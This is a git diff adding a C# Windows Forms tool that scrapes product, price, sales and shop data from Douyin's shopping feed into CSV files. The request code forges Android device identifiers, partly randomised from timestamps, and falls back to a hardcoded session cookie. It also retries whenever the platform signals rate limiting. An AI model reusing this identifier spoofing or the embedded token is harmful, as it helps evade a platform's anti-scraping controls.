+ this.txtRateMin.Location = new System.Drawing.Point(256, 86); + this.txtRateMin.Name = "txtRateMin"; + this.txtRateMin.Size = new System.Drawing.Size(55, 23); + this.txtRateMin.TabIndex = 388; + this.txtRateMin.Text = "0"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(14, 57); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(56, 17); + this.label2.TabIndex = 378; + this.label2.Text = "采集页数"; + // + // txtSaleCountMax + // + this.txtSaleCountMax.Location = new System.Drawing.Point(330, 54); + this.txtSaleCountMax.Name = "txtSaleCountMax"; + this.txtSaleCountMax.Size = new System.Drawing.Size(55, 23); + this.txtSaleCountMax.TabIndex = 387; + this.txtSaleCountMax.Text = "99999999"; + // + // txtPriceMax + // + this.txtPriceMax.Location = new System.Drawing.Point(330, 22); + this.txtPriceMax.Name = "txtPriceMax"; + this.txtPriceMax.Size = new System.Drawing.Size(55, 23); + this.txtPriceMax.TabIndex = 383; + this.txtPriceMax.Text = "99999999"; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(314, 57); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(13, 17); + this.label5.TabIndex = 386; + this.label5.Text = "-"; + // + // txtPriceMin + // + this.txtPriceMin.Location = new System.Drawing.Point(256, 22); + this.txtPriceMin.Name = "txtPriceMin"; + this.txtPriceMin.Size = new System.Drawing.Size(55, 23); + this.txtPriceMin.TabIndex = 379; + this.txtPriceMin.Text = "0"; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(217, 57); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(32, 17); + this.label6.TabIndex = 385; + this.label6.Text = "销量"; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(217, 25); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(32, 17); + this.label3.TabIndex = 380; + this.label3.Text = "价格"; + // + // txtSaleCountMin + // + this.txtSaleCountMin.Location = new System.Drawing.Point(256, 54); + this.txtSaleCountMin.Name = "txtSaleCountMin"; + this.txtSaleCountMin.Size = new System.Drawing.Size(55, 23); + this.txtSaleCountMin.TabIndex = 384; + this.txtSaleCountMin.Text = "0"; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(314, 25); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(13, 17); + this.label4.TabIndex = 382; + this.label4.Text = "-"; + // + // btnLoginDouyin + // + this.btnLoginDouyin.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnLoginDouyin.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnLoginDouyin.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnLoginDouyin.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnLoginDouyin.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnLoginDouyin.ForeColor = System.Drawing.Color.White; + this.btnLoginDouyin.Location = new System.Drawing.Point(798, 20); + this.btnLoginDouyin.Margin = new System.Windows.Forms.Padding(2); + this.btnLoginDouyin.Name = "btnLoginDouyin"; + this.btnLoginDouyin.Size = new System.Drawing.Size(66, 26); + this.btnLoginDouyin.TabIndex = 373; + this.btnLoginDouyin.Text = "登录抖音"; + this.btnLoginDouyin.UseVisualStyleBackColor = false; + this.btnLoginDouyin.Click += new System.EventHandler(this.btnLoginDouyin_Click); + // + // btnCollect + // + this.btnCollect.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnCollect.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnCollect.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnCollect.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnCollect.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnCollect.ForeColor = System.Drawing.Color.White; + this.btnCollect.Location = new System.Drawing.Point(798, 52); + this.btnCollect.Margin = new System.Windows.Forms.Padding(2); + this.btnCollect.Name = "btnCollect"; + this.btnCollect.Size = new System.Drawing.Size(66, 26); + this.btnCollect.TabIndex = 374; + this.btnCollect.Text = "开始采集"; + this.btnCollect.UseVisualStyleBackColor = false; + this.btnCollect.Click += new System.EventHandler(this.btnCollect_Click); + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.dgvCollect); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(5, 0, 5, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.statusBar); + this.splitContainer2.Size = new System.Drawing.Size(878, 347); + this.splitContainer2.SplitterDistance = 318; + this.splitContainer2.SplitterWidth = 1; + this.splitContainer2.TabIndex = 7; + // + // dgvCollect + // + this.dgvCollect.AllowUserToAddRows = false; + this.dgvCollect.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvCollect.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvCollect.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvCollect.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvCollect.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvCollect.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colProductId, + this.colProductName, + this.colImage, + this.colPrice, + this.colSaleCount, + this.colRate, + this.colShopId, + this.colShopName, + this.colShopCount, + this.colDelete}); + this.dgvCollect.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvCollect.Location = new System.Drawing.Point(5, 0); + this.dgvCollect.Name = "dgvCollect"; + this.dgvCollect.ReadOnly = true; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvCollect.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvCollect.RowTemplate.Height = 23; + this.dgvCollect.Size = new System.Drawing.Size(868, 318); + this.dgvCollect.TabIndex = 6; + this.dgvCollect.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvShop_CellContentClick); + // + // colSelect + // + this.colSelect.FillWeight = 50F; + this.colSelect.HeaderText = "选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Visible = false; + this.colSelect.Width = 41; + // + // colProductId + // + this.colProductId.HeaderText = "商品Id"; + this.colProductId.Name = "colProductId"; + this.colProductId.ReadOnly = true; + // + // colProductName + // + this.colProductName.HeaderText = "商品名称"; + this.colProductName.Name = "colProductName"; + this.colProductName.ReadOnly = true; + this.colProductName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colProductName.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colProductName.Width = 240; + // + // colImage + // + this.colImage.HeaderText = "图片"; + this.colImage.Name = "colImage"; + this.colImage.ReadOnly = true; + this.colImage.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colImage.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colImage.Visible = false; + this.colImage.Width = 70; + // + // colPrice + // + this.colPrice.HeaderText = "价格"; + this.colPrice.Name = "colPrice"; + this.colPrice.ReadOnly = true; + this.colPrice.Width = 80; + // + // colSaleCount + // + this.colSaleCount.HeaderText = "销量"; + this.colSaleCount.Name = "colSaleCount"; + this.colSaleCount.ReadOnly = true; + this.colSaleCount.Width = 80; + // + // colRate + // + this.colRate.HeaderText = "好评率"; + this.colRate.Name = "colRate"; + this.colRate.ReadOnly = true; + this.colRate.Width = 80; + // + // colShopId + // + this.colShopId.HeaderText = "店铺Id"; + this.colShopId.Name = "colShopId"; + this.colShopId.ReadOnly = true; + // + // colShopName + // + this.colShopName.FillWeight = 150F; + this.colShopName.HeaderText = "店铺名称"; + this.colShopName.Name = "colShopName"; + this.colShopName.ReadOnly = true; + this.colShopName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colShopName.Width = 150; + // + // colShopCount + // + this.colShopCount.FillWeight = 150F; + this.colShopCount.HeaderText = "店铺商品总数"; + this.colShopCount.Name = "colShopCount"; + this.colShopCount.ReadOnly = true; + this.colShopCount.Width = 80; + // + // colDelete + // + this.colDelete.HeaderText = "删除"; + this.colDelete.Name = "colDelete"; + this.colDelete.ReadOnly = true; + this.colDelete.Visible = false; + this.colDelete.Width = 81; + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(878, 28); + this.statusBar.TabIndex = 4; + // + // HaoWuCollectForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 17F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(878, 472); + this.Controls.Add(this.splitContainer1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.Name = "HaoWuCollectForm"; + this.Text = "好物采集"; + this.Load += new System.EventHandler(this.HaoWuCollectForm_Load); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ucGroupBoxEx1.ResumeLayout(false); + this.ucGroupBoxEx1.PerformLayout(); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvCollect)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private UserControls.ButtonEx btnLoginDouyin; + private UserControls.ButtonEx btnCollect; + private System.Windows.Forms.SplitContainer splitContainer1; + private UserComponent.DataGridViewEx dgvCollect; + private System.Windows.Forms.ComboBox cmbCategory; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.TextBox txtCollectPage; + private System.Windows.Forms.TextBox txtRateMax; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.TextBox txtRateMin; + private System.Windows.Forms.TextBox txtSaleCountMax; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.TextBox txtSaleCountMin; + private System.Windows.Forms.TextBox txtPriceMax; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.TextBox txtPriceMin; + private System.Windows.Forms.CheckBox chkShowImage; + private UserComponent.UcGroupBoxEx ucGroupBoxEx1; + private UserControls.ButtonEx btnExport; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colProductId; + private System.Windows.Forms.DataGridViewLinkColumn colProductName; + private System.Windows.Forms.DataGridViewImageColumn colImage; + private System.Windows.Forms.DataGridViewTextBoxColumn colPrice; + private System.Windows.Forms.DataGridViewTextBoxColumn colSaleCount; + private System.Windows.Forms.DataGridViewTextBoxColumn colRate; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopId; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopName; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopCount; + private System.Windows.Forms.DataGridViewLinkColumn colDelete; + private System.Windows.Forms.SplitContainer splitContainer2; + private UserControls.StatusBarUserControl statusBar; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/CollectForms/HaoWuCollectForm.cs b/TEMUKJD/KJDForms/CollectForms/HaoWuCollectForm.cs new file mode 100644 index 0000000..249db98 --- /dev/null +++ b/TEMUKJD/KJDForms/CollectForms/HaoWuCollectForm.cs @@ -0,0 +1,436 @@ +using AllBase; +using AllBase.Helper; +using AllBase.Model.Result; +using LittleRabbit.LittleRabbitForms.ToolForms; +using NaiBa.Util.Extension; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Net; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.BLL.Collect; + +namespace LittleRabbit.LittleRabbitForms.CollectForms +{ + public partial class HaoWuCollectForm : Form + { + CancellationTokenSource cancellationTokenSource = null; + /// + /// 商品标题不包含的关键词列表 + /// + private List lstBanKeyText = new List(); + + List lstProduct = new List(); + + /// + /// 商品过滤的最低销量 + /// + private string minSaleCount = "0"; + private string maxSaleCount = "99999999"; + private string minPrice = "0"; + private string maxPrice = "99999999"; + /// + /// 好评率 + /// + private double hplMin = -1; + private double hplMax = 100; + /// + /// 采集详情推荐中的商品 + /// + private bool isXqtj = false; + /// + /// 是否显示图片 + /// + private bool isShowImg = false; + private string exportFileName = "douyinhaowu_collect.csv"; + private string[] cates = new string[] { "精选", "食品饮料", "生鲜", "女装", "鞋靴", "彩妆", "护肤", "珠宝文玩", "家电", "数码办公", "男装", + "家纺", "家装", "厨具", "图书", "配饰", "母婴", "运动", "百货", "洗护", "票务卡券", "车品", "绿植农资" }; + + public HaoWuCollectForm() + { + InitializeComponent(); + } + + private void HaoWuCollectForm_Load(object sender, EventArgs e) + { + foreach (var item in cates) + { + this.cmbCategory.Items.Add(item); + } + this.cmbCategory.SelectedIndex = 0; + this.splitContainer2.SplitterWidth = 1; + } + + public void Collect(string dyCookies, int totalPage, string cateName, string cateIndex, ref List lstGoods, ref int currentPage) + { + int total = totalPage; + string str = ""; + try + { + if (!Directory.Exists("采集导出")) + Directory.CreateDirectory("采集导出"); + exportFileName = "采集导出\\抖音好物采集" + DateTime.Now.ToString("yyyyMMddHHmmss") + ".csv"; + StreamWriter writer = new StreamWriter(this.exportFileName, true, Encoding.GetEncoding("gb2312")); + object[] objArray1 = new object[] { "商品名称,", "价格,", "销量,", "好评率,", "商品ID,", "店铺ID,", "店铺名称,", "店铺商品总数" }; + writer.WriteLine(string.Concat(objArray1)); + writer.Close(); + + int num = 0; + while (num < totalPage) + { + if (cancellationTokenSource.IsCancellationRequested) + break; + + currentPage = num + 1; + Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = "正在采集类目:" + cateName + ",当前采集到第 " + (num + 1) + " 页"; + this.statusBar.pgbTaskProgress.Value = (num + 1); + this.statusBar.pgbTaskProgress.Text = (num + 1) + "/" + total; + this.statusBar.pgbTaskProgress.Maximum = total; + })); + + str = $"[{DateTime.Now.ToString("MM-dd HH:mm:ss")}] 正在采集类目:{cateName} 第{num + 1}页,成功采集{lstGoods.Count}条。"; + object[] objArray2 = new object[] { str }; + //base.BeginInvoke(new showMessageDelegate(this.showMsg), objArray2); + int num2 = num * 10; + string str2 = ""; + object[] objArray3 = new object[] { "https://aweme.snssdk.com/aweme/v2/commerce/favorite/feed?feature_version=new_operate_resource&tab_id=", cateIndex, "&entrances&cursor=", num2, "&request_tag_from=lynx&with_tabs=false&filters=2_3481030053603741229%2C2_3484212195024324357%2C1_6971768879194327844%2C2_3479930499084982767%2C2_3470779358002703750%2C1_6971770338224982791%2C2_3476553583086965127%2C2_3478793526744103385%2C1_6971747541322976035%2C2_3480664549739395118&page_num=2&feedbacks&page_name=order_homepage&only_entrance=false&os_api=22&device_type=TAS-AN00&ssmix=a&manifest_version_code=160002&dpi=240&uuid=865166029839340&app_name=aweme&version_name=16.0.1&ts=1623252303&cpu_support64=false&app_type=normal&appTheme=dark&ac=wifi&host_abi=armeabi-v7a&update_version_code=16019900&channel=aweGW&_rticket=1623252304036&device_platform=android&iid=1935603863652935&version_code=160001&cdid=61a31b75-b28a-448f-b688-2803bf62456b&openudid=2292f1eb6ba5f1c1&device_id=68214623104&resolution=1600*900&os_version=5.1.1&language=zh&device_brand=HUAWEI&aid=1128&minor_status=0&mcc_mnc=46000" }; + string url = string.Concat(objArray3); + object[] objArray4 = new object[0x13]; + objArray4[0] = "https://aweme.snssdk.com/aweme/v2/commerce/favorite/feed?feature_version=new_operate_resource&tab_id="; + objArray4[1] = cateIndex; + objArray4[2] = "&render_purchase=0&entrances&cursor="; + objArray4[3] = num2; + objArray4[4] = "&request_tag_from=lynx&with_tabs=false&filters&page_num="; + objArray4[5] = num + 1; + objArray4[6] = "&feedbacks&page_name=order_homepage&only_entrance=false&os_api=22&device_type=TAS-AN00&ssmix=a&manifest_version_code=160002&dpi=240&uuid=8651"; + objArray4[7] = DateTime.Now.ToString("ff"); + objArray4[8] = "02983"; + objArray4[9] = DateTime.Now.ToString("ss"); + objArray4[10] = "40&app_name=aweme&version_name=16.0.1&ts="; + objArray4[11] = ((DateTime.Now.ToUniversalTime().Ticks - 621355968000000000L) / 10000000L).ToString(); // Base.ConvertDateTimeToInt(); + objArray4[12] = "&cpu_support64=false&app_type=normal&appTheme=dark&ac=wifi&host_abi=armeabi-v7a&update_version_code=16019900&channel=aweGW&_rticket=1623515082669&device_platform=android&iid=1935603863652935&version_code=160001&cdid=61a31b75-b28a-448f-b6"; + objArray4[13] = DateTime.Now.ToString("ss"); + objArray4[14] = "-2803bf62456b&openudid=22"; + objArray4[15] = DateTime.Now.ToString("ss"); + objArray4[16] = "f1eb6ba5f1c1&device_id=682"; + objArray4[17] = DateTime.Now.ToString("ff"); + objArray4[18] = "623104&resolution=1600*900&os_version=5.1.1&language=zh&device_brand=HUAWEI&aid=1128&minor_status=0&mcc_mnc=46000"; + url = string.Concat(objArray4); + if (string.IsNullOrWhiteSpace(dyCookies)) + { + dyCookies = "sid_guard=f7fbff5199b1bfe9de6eacb334368979|||"; + } + str2 = GetHtml.GetUtf8(url, AllBase.BaseClass.ChromeUserAgent, dyCookies); + int num3 = 0; + if (str2.IndexOf("用户未登录") != -1) + { + DateTime now = DateTime.Now; + str = $"[{now.ToString("MM-dd HH:mm:ss")}] 请重新登入抖音."; + object[] objArray7 = new object[] { str }; + //base.BeginInvoke(new showMessageDelegate(this.showMsg), objArray7); + //this.int_6 = 0x1_869f; + break; + } + while (true) + { + if (!(((str2.IndexOf("服务器打瞌睡了") != -1) || ((str2.IndexOf("你搜得太多啦") != -1) || (str2.Trim() == ""))) ? (num3 < 20) : false)) + { + char[] separator = new char[] { 'ㄨ' }; + string[] strArray = str2.Replace("\"product\":", "ㄨ\"product\":").Split(separator); + if (str2.Contains("\"item_cards\":")) + { + var jobj = Newtonsoft.Json.Linq.JObject.Parse(str2); + var sObj = jobj["item_cards"]; + var sList = new List(); + foreach (var s in sObj) + { + sList.Add(JsonHelper.SerializeObject(s)); + } + strArray = sList.ToArray(); + } + int index = 0; + while (true) + { + if (cancellationTokenSource.IsCancellationRequested) + break; + + if (index >= strArray.Length) + { + Thread.Sleep(1000); + num++; + break; + } + try + { + string goodStr = strArray[index]; + DouGoodsCollectInfo item = new DouGoodsCollectInfo(); + + item.Id = AllBase.BaseRegex.GetStringJson(ref goodStr, "product_id"); + if (!string.IsNullOrEmpty(item.Id) && !lstGoods.Any(g => g.Id == item.Id)) + { + item.GoodsName = AllBase.BaseRegex.GetStringJson(ref goodStr, "title")?.Trim(); + if (!string.IsNullOrEmpty(item.GoodsName)) + { + if (lstBanKeyText.Count == 0 || !lstBanKeyText.Any(t => item.GoodsName.Contains(t))) + { + // 销量数据 + item.Sales = AllBase.BaseRegex.GetStringJson(ref goodStr, "sales"); + if (string.IsNullOrEmpty(item.Sales)) + item.Sales = "0"; + + // 销量符合筛选条件 + if (Convert.ToInt32(item.Sales) >= Convert.ToInt32(this.minSaleCount) && Convert.ToInt32(item.Sales) <= Convert.ToInt32(this.maxSaleCount)) + { + string price = BaseRegex.GetStringJson(ref goodStr, "min_price"); + if (string.IsNullOrEmpty(price)) + price = "0"; + item.Price = ((Convert.ToDouble(price) * 1.0) / 100.0).ToString("f2"); + + if (Convert.ToDouble(item.Price) >= Convert.ToDouble(this.minPrice) && Convert.ToDouble(item.Price) <= Convert.ToDouble(this.maxPrice)) + { + var img = BaseRegex.GetStringJson(ref goodStr, "url_list"); + if (item.img == null) + img = BaseRegex.GetMatchRegexString(ref goodStr, "\"cover\":[^\\[\\]]+?\"url_list\":\\[([^\\[\\]]+?)\\]"); + if (!string.IsNullOrEmpty(img)) + { + item.img = img.Split(',')[0].Trim('"'); + } + + // 获取商品评价 + item.CommentsCount = this.GetRate(item.Id, ref item.ShopProductCount, ref item.CommentsRate); + if (item.CommentsRate >= this.hplMin && item.CommentsRate <= hplMax) + { + //Application.DoEvents(); + Thread.Sleep(1000); + string content = HaoWuCollectBLL.getHtml( + "https://ec.snssdk.com/product/fxgajaxstaticitem?b_type_new=0&device_id=0&is_outside=1&id=" + item.Id + "&preview=0", + "", "utf8"); + item.ShopId = BaseRegex.GetStringJson(ref content, "shop_id"); + item.ShopName = BaseRegex.GetStringJson(ref content, "shop_name"); + lstGoods.Add(item); + this.ShowData(lstGoods.Count, item); + if (this.isXqtj) + { + //this.method_3(spid); + } + if (((index % 2) == 0) && (index > 0)) + Thread.Sleep(1000); + } + } + } + } + } + } + } + catch (Exception ex) + { + } + index++; + } + break; + } + str = $"[{DateTime.Now.ToString("MM-dd HH:mm:ss")}] 服务器打瞌睡了,重试..."; + object[] objArray5 = new object[] { str }; + //base.BeginInvoke(new showMessageDelegate(this.showMsg), objArray5); + //Application.DoEvents(); + Thread.Sleep(3000); + num3++; + } + } + } + catch + { + } + str = $"[{DateTime.Now.ToString("MM-dd HH:mm:ss")}] 采集结束,成功采集{lstGoods.Count}个."; + object[] args = new object[] { str }; + //base.BeginInvoke(new showMessageDelegate(this.showMsg), args); + } + + private int GetRate(string productId, ref int productCount, ref double rate) + { + int num = 0; + string url = "https://ec.snssdk.com/product/ajaxitem?b_type_new=0&device_id=0&is_outside=1&id=" + productId + "&abParams=0"; + string content = HaoWuCollectBLL.getHtml_fxg_20201220(url, "", ""); + int num2 = 0; + string ip = ""; + while ((num2 < 10) && (content.Trim().Length < 10)) + { + //Application.DoEvents(); // 刷新界面 + Thread.Sleep(500); + num2++; + content = HaoWuCollectBLL.getHtml_fxg_20201220(url, "", ip); + } + num = BaseRegex.GetIntJson(ref content, "count"); + productCount = BaseRegex.GetIntJson(ref content, "shop_product_count"); + rate = (double)BaseRegex.GetDecimalJson(ref content, "value"); + + return num; + } + + private void ShowData(int totalCount, DouGoodsCollectInfo goodsInfo) + { + try + { + StreamWriter writer = new StreamWriter(this.exportFileName, true, Encoding.GetEncoding("gb2312")); + object[] objArray1 = new object[15]; + objArray1[0] = goodsInfo.GoodsName; + objArray1[1] = ","; + objArray1[2] = goodsInfo.Price; + objArray1[3] = ","; + objArray1[4] = goodsInfo.Sales; + objArray1[5] = ","; + objArray1[6] = goodsInfo.CommentsRate; + objArray1[7] = ","; + objArray1[8] = "https://haohuo.jinritemai.com/views/product/item2?id=" + goodsInfo.Id; + objArray1[9] = ","; + objArray1[10] = goodsInfo.ShopId; + objArray1[11] = ","; + objArray1[12] = goodsInfo.ShopName; + objArray1[13] = ","; + objArray1[14] = goodsInfo.ShopProductCount; + writer.WriteLine(string.Concat(objArray1)); + writer.Close(); + } + catch + { + } + Invoke(new Action(() => + { + var index = this.dgvCollect.Rows.Add(false, goodsInfo.Id, goodsInfo.GoodsName, null, goodsInfo.Price, goodsInfo.Sales, goodsInfo.CommentsRate, + goodsInfo.ShopId, goodsInfo.ShopName, goodsInfo.ShopProductCount, "删除"); + if (this.isShowImg) + { + this.dgvCollect.Columns["colImage"].Visible = true; + var row = dgvCollect.Rows[index]; + row.Cells["colImage"].Value = this.GetImage2(goodsInfo.img, 60); + row.Height = 70; + } + else + this.dgvCollect.Columns["colImage"].Visible = false; + })); + + } + + public Image GetImage2(string path, int size = 130) + { + try + { + return new Bitmap(Image.FromStream(WebRequest.Create(path).GetResponse().GetResponseStream()), size, size); + } + catch + { + return null; + } + } + + private void btnLoginDouyin_Click(object sender, EventArgs e) + { + DouUserLoginForm dForm = new DouUserLoginForm(); + dForm.ShowDialog(); + } + + private void btnCollect_Click(object sender, EventArgs e) + { + if (btnCollect.Text == "开始采集") + { + var cookie = GlobalConfig.DouUserCookies; + var cate = this.cmbCategory.Text; + var cid = this.cmbCategory.SelectedIndex.ToString(); + var collectPage = this.txtCollectPage.Text.Trim().ParseToInt(); + + minSaleCount = this.txtSaleCountMin.Text.ParseToInt().ToString(); + maxSaleCount = this.txtSaleCountMax.Text.ParseToInt().ToString(); + minPrice = this.txtPriceMin.Text.ParseToDecimal().ToString(); + maxPrice = this.txtPriceMax.Text.ParseToDecimal().ToString(); + hplMin = this.txtRateMin.Text.ParseToDouble(); + hplMax = this.txtRateMax.Text.ParseToDouble(); + + isShowImg = this.chkShowImage.Checked; + + this.dgvCollect.Rows.Clear(); + this.lstProduct.Clear(); + + cancellationTokenSource = new CancellationTokenSource(); + btnCollect.Text = "停止采集"; + + int n = 0; + int total = collectPage; + this.statusBar.lblTaskStatus.Text = "开始采集..."; + this.statusBar.pgbTaskProgress.Value = n; + this.statusBar.pgbTaskProgress.Text = n + "/" + total; + this.statusBar.pgbTaskProgress.Maximum = total; + + Task.Run(() => + { + Collect(cookie, collectPage, cate, cid, ref lstProduct, ref n); + Invoke(new Action(() => + { + btnCollect.Text = "开始采集"; + + this.statusBar.lblTaskStatus.Text = "采集结束,共采集到商品" + this.lstProduct.Count + "个"; + this.statusBar.pgbTaskProgress.Value = n; + this.statusBar.pgbTaskProgress.Text = n + "/" + total; + this.statusBar.pgbTaskProgress.Maximum = total; + })); + }, cancellationTokenSource.Token); + } + else + { + cancellationTokenSource.Cancel(); + } + } + + private void btnExport_Click(object sender, EventArgs e) + { + try + { + SaveFileDialog saveFileDialog1 = new SaveFileDialog(); + saveFileDialog1.Filter = "表格文件(*.csv)|*.csv"; + saveFileDialog1.FileName = "好物采集" + DateTime.Now.ToString("yyyyMMddHHmmss") + ".csv"; + saveFileDialog1.FilterIndex = 2; + saveFileDialog1.RestoreDirectory = true; + if (saveFileDialog1.ShowDialog() == DialogResult.OK) + { + StringBuilder sb = new StringBuilder(); + sb.AppendLine("商品名称," + "价格," + "销量," + "好评率," + "商品ID," + "店铺ID," + "店铺名称," + "店铺商品总数"); + foreach (var goodsInfo in lstProduct) + { + sb.AppendLine(goodsInfo.GoodsName + "," + goodsInfo.Price + "," + goodsInfo.Sales + "," + goodsInfo.CommentsRate + "," + + "https://haohuo.jinritemai.com/views/product/item2?id=" + goodsInfo.Id + "," + goodsInfo.ShopId + "," + + goodsInfo.ShopName + "," + goodsInfo.ShopProductCount); + } + File.WriteAllText(saveFileDialog1.FileName, sb.ToString(), Encoding.Default); + BaseForms.BaseMsgForm.ShowInfo("导出成功"); + } + } + catch (Exception ex) + { + BaseForms.BaseMsgForm.ShowError(ex.Message); + } + } + + private void dgvShop_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.RowIndex < 0 || e.ColumnIndex < 0) + return; + + var goodsId = dgvCollect.Rows[e.RowIndex].Cells["colProductId"].Value.ToString(); + var columnName = dgvCollect.Columns[e.ColumnIndex].Name; + if (columnName == "colProductName") + { + string url = "https://haohuo.jinritemai.com/views/product/item2?id=" + goodsId; + GetHtml.OpenUrl(url); + } + } + } +} diff --git a/TEMUKJD/KJDForms/CollectForms/HaoWuCollectForm.resx b/TEMUKJD/KJDForms/CollectForms/HaoWuCollectForm.resx new file mode 100644 index 0000000..8cb69cb --- /dev/null +++ b/TEMUKJD/KJDForms/CollectForms/HaoWuCollectForm.resx @@ -0,0 +1,150 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 